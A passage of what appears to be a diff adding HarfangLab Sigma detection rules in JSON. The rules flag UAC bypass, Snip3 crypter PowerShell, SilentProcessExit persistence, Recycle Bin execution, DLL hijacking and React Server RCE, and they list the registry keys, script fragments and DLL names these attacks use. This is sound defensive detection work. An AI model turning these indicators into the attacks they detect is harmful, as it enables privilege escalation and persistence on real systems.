+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092489Z",
+  "creation_date": "2026-03-23T11:45:34.092492Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092496Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://twitter.com/hfiref0x/status/928869933035020288"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_icolordataproxy.yml",
+  "content": "title: IColorDataProxy COM UAC Bypass Prepared\nid: 13754f19-10c9-40db-935a-4043b68e2ffd\ndescription: |\n    Detects the preparation of the display color calibration UAC bypass, involving the setting of a registry key.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://twitter.com/hfiref0x/status/928869933035020288\ndate: 2020/10/14\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration\\DisplayCalibrator'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    filter_legitimate:\n        # Legitime value set by Windows\n        Details: '%SystemRoot%\\System32\\DCCW.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "13754f19-10c9-40db-935a-4043b68e2ffd",
+  "rule_name": "IColorDataProxy COM UAC Bypass Prepared",
+  "rule_description": "Detects the preparation of the display color calibration UAC bypass, involving the setting of a registry key.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-10-14",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "13b86531-8b7b-4ef9-bb5a-3d56f788744b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607132Z",
+  "creation_date": "2026-03-23T11:45:34.607135Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607142Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time",
+    "https://attack.mitre.org/software/S1086/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_snip3_crypter_detected.yml",
+  "content": "title: Snip3 Crypter Detected\nid: 13b86531-8b7b-4ef9-bb5a-3d56f788744b\ndescription: |\n    Detects common PowerShell snippets present in Snip3 Crypter, a multi-stage remote access trojan (RAT) loader that has been used since at least 2021.\n    Snip3 is a sophisticated Crypter-as-a-Service crypter that has been used to obfuscate and load numerous strains of malware including AsyncRAT, RevengeRAT, AgentTesla and more.\n    It is recommended to investigate the PowerShell script to determine its legitimacy.\nreferences:\n    - https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time\n    - https://attack.mitre.org/software/S1086/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/11/12\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1059.005\n    - attack.command_and_control\n    - attack.t1104\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.Snip3\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Obfuscation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_1:\n      PowershellCommand|contains|all:\n        - 'Add-Type -AssemblyName Microsoft.VisualBasic'\n        - '[System.Text.Encoding]::Default.GetString(@('\n        - '[System.IO.File]::WriteAllText([System.Environment]::GetFolderPath('\n        - ' = [Microsoft.VisualBasic.Strings]::Split((Get-WMIObject win32_operatingsystem).name,\"|\")[0]'\n        - ' [System.Convert]::ToString((get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID))'\n        - ' Start-Sleep -Milliseconds '\n\n    selection_2:\n      PowershellCommand|contains|all:\n        - 'function DropToStartup() {'\n        - '[System.Text.Encoding]::Default.GetString(@('\n\n    condition: 1 of selection_*\nlevel: high\n# level: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "13b86531-8b7b-4ef9-bb5a-3d56f788744b",
+  "rule_name": "Snip3 Crypter Detected",
+  "rule_description": "Detects common PowerShell snippets present in Snip3 Crypter, a multi-stage remote access trojan (RAT) loader that has been used since at least 2021.\nSnip3 is a sophisticated Crypter-as-a-Service crypter that has been used to obfuscate and load numerous strains of malware including AsyncRAT, RevengeRAT, AgentTesla and more.\nIt is recommended to investigate the PowerShell script to determine its legitimacy.\n",
+  "rule_creation_date": "2024-11-12",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1059.005",
+    "attack.t1104",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "14032905-0b18-4b4a-851c-3fafff461ba1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076139Z",
+  "creation_date": "2026-03-23T11:45:34.076141Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076146Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
+    "https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/",
+    "https://blog.thinkst.com/2022/09/sensitive-command-token-so-much-offense.html",
+    "https://attack.mitre.org/techniques/T1546/012/"
+  ],
+  "name": "t1546_012_persistence_using_silent_process_exit.yml",
+  "content": "title: Possible SilentProcessExit Registry Persistence Added\nid: 14032905-0b18-4b4a-851c-3fafff461ba1\ndescription: |\n    Detects a change in a SilentProcessExit configuration in the registry, possibly indicative of persistence using Silent Process Exit Monitoring.\n    Silent Process Exit happens when a process is terminated gracefully, by itself or another process. Windows allows user to trigger events in case of a Silent Process Exit.\n    Attackers can therefore use this feature as a persistence mechanism to start malicious programs when a Silent Process Exit happens on the system.\n    It is recommended to analyze the process responsible for the registry modification and to analyze the file pointed to by the registry value to look for malicious content or actions.\nreferences:\n    - https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit\n    - https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/\n    - https://blog.thinkst.com/2022/09/sensitive-command-token-so-much-offense.html\n    - https://attack.mitre.org/techniques/T1546/012/\ndate: 2022/09/19\nmodified: 2025/03/03\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.012\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n\n    selection_silence_process_exit:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\\\*\\MonitorProcess'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\\\*\\ReportingMode'\n\n    selection_image_options:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\\\*\\GlobalFlag'\n        Details: 'DWORD (0x000002??)'\n\n    exclusion_empty:\n        Details: '(Empty)'\n\n    exclusion_msiexec:\n        ProcessCommandLine: '?:\\Windows\\system32\\msiexec.exe /V'\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\streem.exe\\GlobalFlag'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\BoxUI.exe\\GlobalFlag'\n\n    exclusion_captureone:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\CaptureOne.Win.*.tmp'\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\captureone.exe\\ReportingMode'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\captureone.exe\\GlobalFlag'\n\n    exclusion_ManagerAdmin:\n        ProcessImage: '?:\\Program Files\\Dassault Systemes\\\\*\\win_b??\\code\\bin\\DSYSysIRManagerAdmin.exe'\n        ProcessSigned: 'true'\n        ProcessInternalName: 'DSYSysIRManagerAdmin.exe'\n        ProcessSignature|contains: 'DASSAULT'\n\n    exclusion_adobe:\n        ProcessImage:\n            - '?:\\Program Files\\Common Files\\Adobe\\Adobe Desktop Common\\HDBox\\Setup.exe'\n            - '?:\\Program Files (x86)\\Common Files\\Adobe\\Adobe Desktop Common\\HDBox\\Setup.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Illustrator.exe\\GlobalFlag'\n        ProcessSigned: 'true'\n        ProcessSignature|contains: 'Adobe Inc.'\n\n    condition: selection and 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "14032905-0b18-4b4a-851c-3fafff461ba1",
+  "rule_name": "Possible SilentProcessExit Registry Persistence Added",
+  "rule_description": "Detects a change in a SilentProcessExit configuration in the registry, possibly indicative of persistence using Silent Process Exit Monitoring.\nSilent Process Exit happens when a process is terminated gracefully, by itself or another process. Windows allows user to trigger events in case of a Silent Process Exit.\nAttackers can therefore use this feature as a persistence mechanism to start malicious programs when a Silent Process Exit happens on the system.\nIt is recommended to analyze the process responsible for the registry modification and to analyze the file pointed to by the registry value to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-09-19",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "14b8dddd-67f2-4c76-b54c-d77daec6b252",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627205Z",
+  "creation_date": "2026-03-23T11:45:34.627208Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627212Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1564/",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1564_suspicious_recycle_bin.yml",
+  "content": "title: Suspicious Process Executed from Recycle Bin Folder\nid: 14b8dddd-67f2-4c76-b54c-d77daec6b252\ndescription: |\n    Detects a suspicious execution from Recycle Bin folder.\n    This folder is an uncommon directory for binaries to execute from and is often abused by attackers.\n    It is recommended to determine if the executed binary is legitimate as well as to investigate the context of this execution.\nreferences:\n    - https://attack.mitre.org/techniques/T1564/\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2025/01/28\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564\n    - attack.t1036\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|startswith: '?:\\\\?Recycle.Bin\\'\n\n    # This is handled by the rule 04fc1ab5-7c16-4e89-9c17-8b4dc21c0d44\n    filter_deleted_file:\n        Image|startswith: '?:\\\\?Recycle.Bin\\S-1-5-21-*\\$R'\n\n    # Teams updater doing weird things\n    exclusion_teams:\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "14b8dddd-67f2-4c76-b54c-d77daec6b252",
+  "rule_name": "Suspicious Process Executed from Recycle Bin Folder",
+  "rule_description": "Detects a suspicious execution from Recycle Bin folder.\nThis folder is an uncommon directory for binaries to execute from and is often abused by attackers.\nIt is recommended to determine if the executed binary is legitimate as well as to investigate the context of this execution.\n",
+  "rule_creation_date": "2025-01-28",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036",
+    "attack.t1564"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "14c2f793-59ba-4331-86c7-8146946b4943",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591425Z",
+  "creation_date": "2026-03-23T11:45:34.591429Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591437Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msra.yml",
+  "content": "title: DLL Hijacking via msra.exe\nid: 14c2f793-59ba-4331-86c7-8146946b4943\ndescription: |\n    Detects potential Windows DLL Hijacking via msra.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msra.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\NDFAPI.DLL'\n            - '\\SspiCli.dll'\n            - '\\USERENV.dll'\n            - '\\UxTheme.dll'\n            - '\\wdi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "14c2f793-59ba-4331-86c7-8146946b4943",
+  "rule_name": "DLL Hijacking via msra.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msra.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "14c9835b-73bc-4bc6-a202-6591317a11fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082369Z",
+  "creation_date": "2026-03-23T11:45:34.082371Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082375Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vmnat.yml",
+  "content": "title: DLL Hijacking via vmnat.exe\nid: 14c9835b-73bc-4bc6-a202-6591317a11fb\ndescription: |\n    Detects potential Windows DLL Hijacking via vmnat.exe from VMware.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate executable and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/05/16\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vmnat.exe'\n        ProcessSignature: 'VMware, Inc.'\n        ImageLoaded|endswith: '\\shfolder.dll'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "14c9835b-73bc-4bc6-a202-6591317a11fb",
+  "rule_name": "DLL Hijacking via vmnat.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vmnat.exe from VMware.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate executable and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-05-16",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "14f9f2a2-29c8-4ef3-8ed2-d6f654fffb80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628587Z",
+  "creation_date": "2026-03-23T11:45:34.628589Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628593Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cert.ssi.gouv.fr/actualite/CERTFR-2025-ACT-053",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "t1190_potential_react_server_rce_exploitation_linux.yml",
+  "content": "title: Potential React-Server RCE Exploitation (Linux)\nid: 14f9f2a2-29c8-4ef3-8ed2-d6f654fffb80\ndescription: |\n    Detects suspicious command-line related to the exploitation of the React Server vulnerability (CVE-2025-55182).\n    CVE-2025-55182 is a critical React Server vulnerability that allows remote code execution through specially crafted requests sent to applications using affected React or Next.js versions.\n    It is recommended to check the behavioral context around the execution of this command to determine whether it is legitimate.\nreferences:\n    - https://cert.ssi.gouv.fr/actualite/CERTFR-2025-ACT-053\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2025/12/05\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Exploit.CVE-2025-55182\n    - classification.Linux.Exploit.React2Shell\n    - classification.Linux.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        ParentCommandLine|startswith: 'next-server'\n\n    exclusion_legitimate_subprocesses:\n        CommandLine|contains:\n            # MISP\n            - '/var/www/MISP/app/Console'\n            # Jest worker\n            - '/next/dist/compiled/jest-worker/'\n            # Supercronic\n            - 'supercronic -quiet /app/docker/cronjobs'\n            # PostCSS\n            - '.next/dev/build/postcss.js'\n            - 'cat /proc/mounts'\n            - 'cat /proc/stat'\n            - 'df -kPT'\n            - 'df -lkPTx'\n            - 'node */.next/transform.js'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "14f9f2a2-29c8-4ef3-8ed2-d6f654fffb80",
+  "rule_name": "Potential React-Server RCE Exploitation (Linux)",
+  "rule_description": "Detects suspicious command-line related to the exploitation of the React Server vulnerability (CVE-2025-55182).\nCVE-2025-55182 is a critical React Server vulnerability that allows remote code execution through specially crafted requests sent to applications using affected React or Next.js versions.\nIt is recommended to check the behavioral context around the execution of this command to determine whether it is legitimate.\n",
+  "rule_creation_date": "2025-12-05",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1548f31b-b093-436b-a9cb-97bc28e00de7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
